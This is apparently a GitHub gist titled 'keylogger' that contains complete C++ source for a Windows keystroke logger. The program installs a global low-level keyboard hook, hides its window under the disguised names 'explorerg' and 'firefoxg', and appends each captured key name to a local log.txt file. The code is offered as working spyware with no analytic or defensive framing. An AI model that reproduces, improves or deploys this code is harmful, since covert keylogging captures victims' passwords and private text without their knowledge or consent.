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@tapkain tapkain/.cpp
Created Nov 4, 2017

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keylogger
#include <windows.h>
#include <cmath>
#include <iostream>
#include <fstream>
HWND button;
HHOOK hhkLowLevelKybd = NULL;
HWND window = NULL;
bool shift = false;
LRESULT CALLBACK onEvent(HWND handle, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message)
{
case WM_CLOSE:
{
PostQuitMessage(0);
return 0;
}
}
return DefWindowProc(handle, message, wParam, lParam);
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode == HC_ACTION)
{
KBDLLHOOKSTRUCT* kb = (KBDLLHOOKSTRUCT*)lParam;
std::string result;
unsigned int sc = MapVirtualKey(kb->vkCode, 0);
sc <<= 16;
char buff[256];
GetKeyNameTextA(sc, buff, 256);
result = buff;
if (result != "Shift")
{
if (wParam == WM_KEYUP)
return CallNextHookEx(hhkLowLevelKybd, nCode, wParam, lParam);
} else {
shift = !shift;
}
if (!shift)
{
int i = 0;
while (buff[i] != '\0')
{
buff[i] = tolower(buff[i]);
i++;
}
}
result = buff;
std::ofstream log("log.txt", std::ios_base::app);
log << result << "\n";
}
return CallNextHookEx(hhkLowLevelKybd, nCode, wParam, lParam);
}
INT WINAPI WinMain(HINSTANCE instance, HINSTANCE, LPSTR, INT)
{
std::ofstream temp("log.txt");
temp.close();
WNDCLASS windowClass;
windowClass.style = 0;
windowClass.lpfnWndProc = &onEvent;
windowClass.cbClsExtra = 0;
windowClass.cbWndExtra = 0;
windowClass.hInstance = instance;
windowClass.hIcon = NULL;
windowClass.hCursor = 0;
windowClass.hbrBackground = reinterpret_cast<HBRUSH>(COLOR_BACKGROUND);
windowClass.lpszMenuName = NULL;
windowClass.lpszClassName = TEXT("explorerg");
RegisterClass(&windowClass);
window = CreateWindow(TEXT("explorerg"), TEXT("firefoxg"), WS_SYSMENU, 200, 200, 660, 520, NULL, NULL, instance, NULL);
ShowWindow(window, SW_HIDE);
HHOOK hhkLowLevelKybd = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, 0, 0);
MSG message;
message.message = static_cast<UINT>(~WM_QUIT);
while (message.message != WM_QUIT)
{
if (GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
}
DestroyWindow(window);
UnregisterClass(TEXT("explorerg"), instance);
UnhookWindowsHookEx(hhkLowLevelKybd);
return EXIT_SUCCESS;
}
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